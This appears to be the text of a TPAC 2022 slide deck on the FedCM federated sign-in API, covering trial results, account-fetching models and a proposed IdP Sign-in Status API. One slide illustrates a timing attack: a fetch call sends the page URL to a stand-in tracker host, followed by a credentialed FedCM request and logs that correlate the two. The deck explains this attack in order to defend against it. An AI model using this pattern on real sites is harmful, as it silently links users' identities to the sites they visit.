


FedCM

TPAC2022



September 2022

Where we come from and where we are going to



Where we are

A browser mediated account chooser for the Web



Works without third party cookies!



What we learned in the Origin Trials

~1.5

Browsers

~15+

Identity Providers

~20+

Relying Parties

100K+

Users

Pulls a lot of the changes

Chrome and Edge in Origin Trials
Firefox Supportive & Prototyping
Safari Supportive
TAG Review Favorable

Ideally, few changes

Signed-up to our origin trials and/or are
in developer trials.

Large and small, most
consumer-oriented, on different levels
of production experience.

Ideally, no backwards incompatibility

300+ origins (represent 30 RPs) used
the API in production and reported
comparable conversion rates.

Large and small, most
consumer-oriented.

Ideally, no behavioral changes

Successfully signed in to a relying party
with their production accounts.

Favorable UXR.




The activation leverage point: often, IdPs provide JS SDK libraries that are pulled from the O(K) relying parties. If we can redeploy that, we can activate O(K) websites and O(M) users with a flip of a switch.


So far, we have found that this can take us a long way (less true for enterprises).

Key feedback we heard

Single IdP account chooser?



Timing Attack?



Timing Attack

Invisible Timing Attack Problem

The Problem: the Tracker gets a credentialled request (before the user consents) that allows them to **SILENTLY** track the specific user at the RP (through fingerprinting correlation).

```
fetch(`https://tracker.example/time.php?website=${window.location}`);

navigator.credentials.get({
  federated: {
    providers: [
      {
        url: "https://tracker.example/",
      }
    ]
  }
});
```

```
GET time.php HTTP/1.1
Host: tracker.example
Website=rp.example
```


```
GET /rp.example/accounts.php HTTP/1.1
Host: tracker.example
Cookie: SID=212321
```

```
{ accounts: [] }
```

```
06/02/2022 10:32:31 PST IP 201.299.99.00 SOME user has visited rp.example
```

```
+  
06/02/2022 10:32:32 PST IP 201.299.99.00 User SID=212321 has visited SOMEWHERE
```

```
=  
06/02/2022 10:32:32 PST IP 201.299.99.00 User SID=212321 has visited rp.example
```



The Pull Model



On demand, the browser fetches the user's accounts.

Pros

Simple to implement by IdPs. Always in Sync.

Cons

Latency. **Timing Attacks.**



The Push Model


Ahead of time, the IdP saves in the browser the user's sessions.

Pros

No timing attacks. Cached data.


Cons

Hard to keep in sync (e.g. syncing changes in other devices).






Proposal: The IdP Sign-in Status API

1. An API that allows the IdP to tell the browser whether the user is signed-in
 - a. New HTTP Headers: IdP-Sign-in-Status: action={login, logout}
 - b. New JS (optional): IdentityProvider.{login, logout}()
2. Solves the “**invisible** timing attack” problem
 - a. Because it guarantees that UX will always be shown when the timing attack can be performed
3. A strict **subset** of the Push Model
 - a. Sweet spot between privacy benefits and deployment challenges
 - b. See ANNEX for **alternatives considered** and evaluation criteria




The IdP Sign-in UX



Sign-in to your IdP, without telling who the RP is. Calling the IdP Sign-in Status API closes the modal dialog.

Login Status UX




Multiple IDPs

The Proposal


1. Allow users to choose their account from multiple IDPs using FedCM
2. Enable the RP to specify the IDPs they work with, and preference over IDPs
3. Extensible from the current specification

```
navigator.credentials.get({  
  identity: {  
    providers: [{  
      // order matters: determines what order we show them  
      configURL: "https://idp1.example/fedcm.json",  
      clientId: "clientId1",  
      nonce: nonce1  
    }, {  
      configURL: "https://idp2.example/fedcm.json",  
      clientId: "clientId2",  
      nonce: nonce2  
    }]  
  };  
});
```


User Flows



RP Sign-up




RP Sign-in



Signed-out

Volume



Variations

What?

Classes of solutions

Permission

Browser is only involved to capture user consent for tracking.

Pros

Backwards compatible. Extensibility.

Cons

Permission-blindness* ineffective at driving change.

Mediation

Browser renders parts of the IDP flow in the browser consent moments.

Pros

Deployable by IDPs. Meaningful permission.

Cons

Ossification*. Expressivity**.

Delegation

IDP delegates much of the responsibility for minting tokens to the browser.

Pros

Frictionless, consequence-free.

Cons

RP backwards incompatible *.

* on the way of the job to be done

* basic auth anyone?

** does it break with 3PCD?

* reminder: O(M) of RPs

What?

Classes of solutions

Permission

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* reminder: O(M) of RPs

ANNEX

The Problem

The image displays two side-by-side screenshots of a mobile web browser on an Android device. Both screenshots show the same recipe page for "Chocolate Chip Walnut Banana Bread" from a website named "recipewebsite.com". The time at the top of both screens is 9:30.

Left Screenshot: This screenshot shows a "Single IdP account chooser?" annotation with a bracket pointing to the bottom of the screen. It displays a sign-in dialog for "Sign in to recipewebsite.com with google.com". Below the dialog, there are two accounts listed: "Elisa Beckett" (elisa.beckett@gmail.com) and "Elisa Beckett" (elisa.beckett@link-42.com). At the very bottom, there is a small "Flies Rarkatt" entry.

Right Screenshot: This screenshot shows a "Timing Attack?" annotation with a bracket pointing to the bottom of the screen. It displays a similar sign-in dialog for "Sign in to recipewebsite.com with google.com". The "Continue as Elisa" button is highlighted with a blue rounded rectangle. Below the button, a note states: "To continue, google.com will share your name, email address, and profile picture with this site. See this site's [privacy policy](#) and [terms of service](#)".


Hard requirement

Must keep data fresh, by some definition of freshness (hard legal requirement by IdPs)


Use Case:

- User logs into IdP on their phone
- Later, user changes their display name on their desktop (e.g. for deadnaming reasons)
- User comes back to phone, goes to RP
- RP calls FedCM API
- Should show new name
 - At least if name was updated more than N hours ago
 - We have heard that typically $N \leq 2$

Makes sense?



Demo



The Problem

The diagram illustrates a user flow from a recipe page to a sign-in dialog, highlighting two potential security issues.

Single IdP account chooser? (Left side, pointing to the sign-in dialog)


Timing Attack? (Right side, pointing to the sign-in dialog)

Mobile Browser Screenshot: A screenshot of a mobile browser displaying a recipe page for "Chocolate Chip Walnut Banana Bread". The page includes a large image of the bread, the title, a star rating of 4.83 from 69 reviews, and a descriptive paragraph. Below the recipe is a "Sign in to recipewebsite.com with google.com" button, which triggers a modal dialog.

Sign-in Dialog Screenshot: A screenshot of a sign-in dialog titled "Sign in to recipewebsite.com with google.com". It shows a list of accounts: Elisa Beckett (elisa.beckett@gmail.com), Elisa Beckett (elisa.beckett@ink-42.com), and Elies Beckett. The "Continue as Elisa" button is highlighted with a blue arrow pointing to it from the "Timing Attack?" label.

Would it be possible to deploy this through JS SDKs?


RP loads 2 JS SDKs that IdPs control



Today-ish


Would it be possible to combine them cooperatively WITHOUT requiring the RP to redeploy?


Would it be desirable (by IdPs) to cooperate?



Tomorrow?

Demo






Sequencing


Sequencing Considerations

1. We don't think we should launch the IdP Sign-in Status API (nor support for Multiple IdPs) without the confidence of production experience
2. We think that gathering production experience (with real Identity Providers) for the IdP Sign-in Status API (or Multiple IdPs) will take us somewhere between 3-4 quarters: design > prioritize > implement > test > experiment > reviews > deploy.
3. We think that the hardest part is going to be incentives for IdPs, not implementation.
 - a. We are generally hopeful, though, that there is a good value proposition for them.
4. We are learning a lot by gathering production experience with IdPs
 - a. Incentives (for IdPs and RPs)
 - b. Deployment corner cases (e.g. CSP issues, CORS and permission policies for iframes)
5. It is hard to rely on FedCM until it is publicly available
 - a. IdPs are asking us “In 2023, should we extend our products through Iframes/3PC or FedCM?”.
 - b. Browsers are asking us “Should we solve this with the Storage Access API? First Party Sets? Or FedCM?”
6. Browsers have, so far, favorable positions on FedCM
7. The riskiest part right now is to help IdPs
 - a. Technical Feasibility: unknowns unknowns, known unknowns (extensibility / expressivity)
 - b. Value Proposition: increase benefits (e.g. UX polish, browser interop, unlock what wasn't possible) and decrease costs (e.g. Stability, Reliability)
 - c. Shared ownership: making backwards incompatible changes isn't fun for IdPs, but we think that might be preferable than “going quiet” for the next 4 quarters

Timeline Proposal



Where we come from and where we are going to



Discussion

Evaluation Criteria (in order)

1. Privacy and tracking properties (e.g. timing attacks? leaking user behavior, e.g. when browser restarts? Leaks IP addresses, e.g. when they change cell networks?)
2. User experience (e.g. # of prompts)
3. Abuse vectors (e.g. unbounded resource consumption attacks)
4. Deployment Complexity (ergonomics) for IDPs (e.g. deployment complexity)
5. Browser implementation complexity

The Full Push Model


The IdP caches all of the accounts in the browser.

Pros

No timing attacks. No latency.

Cons

Really hard to keep the accounts up to date to meet legal requirements across devices (e.g. freshness under 2 hours).



The Polling Model


From time to time, the browser fetches the user's accounts.

Pros

Easy to implement by IdPs.

Cons

Reveals user's habits (e.g. IdPs learn when users are using their device).



The Sign-in Status Model


The IdP caches only the validity of the sessions in the browser.

Pros

Simple to implement for IdPs. Seems like a prerequisite for further improvements.

Cons

Timing attacks are observable, but can occur.






Ideal API

- Does not expose user's IP address to IDP when user is not interacting with the IDP or an RP that uses this IDP
 - Could be solved by proxying, like Safari already does for paid users
- Does not expose browser usage patterns or user online status to IDP (e.g. ping IDP to update account list whenever browser starts)
- Does not rely on the user accepting additional permissions
- Of course, should actually solve the timing attack in all cases (ie. never make credentialled request to IDP at a time that can be correlated to an RP)
- Easy for IDPs to implement

This is hard!




Incremental Disclosure

Issue #242



Selective Disclosure

[Issue #242](#)



Operating Hypothesis

$O(1s)$

Browsers

Change heavy

$O(10s)$

Identity Providers

JS SDKs

$O(K)$

Relying Parties

Backwards compatible

$O(B)$

Users

No behavioral changes



easier to change

harder to change

Security > Privacy > Performance > Extensibility > Ergonomics > Purity

Sign-in Status

Sign-in Status UX

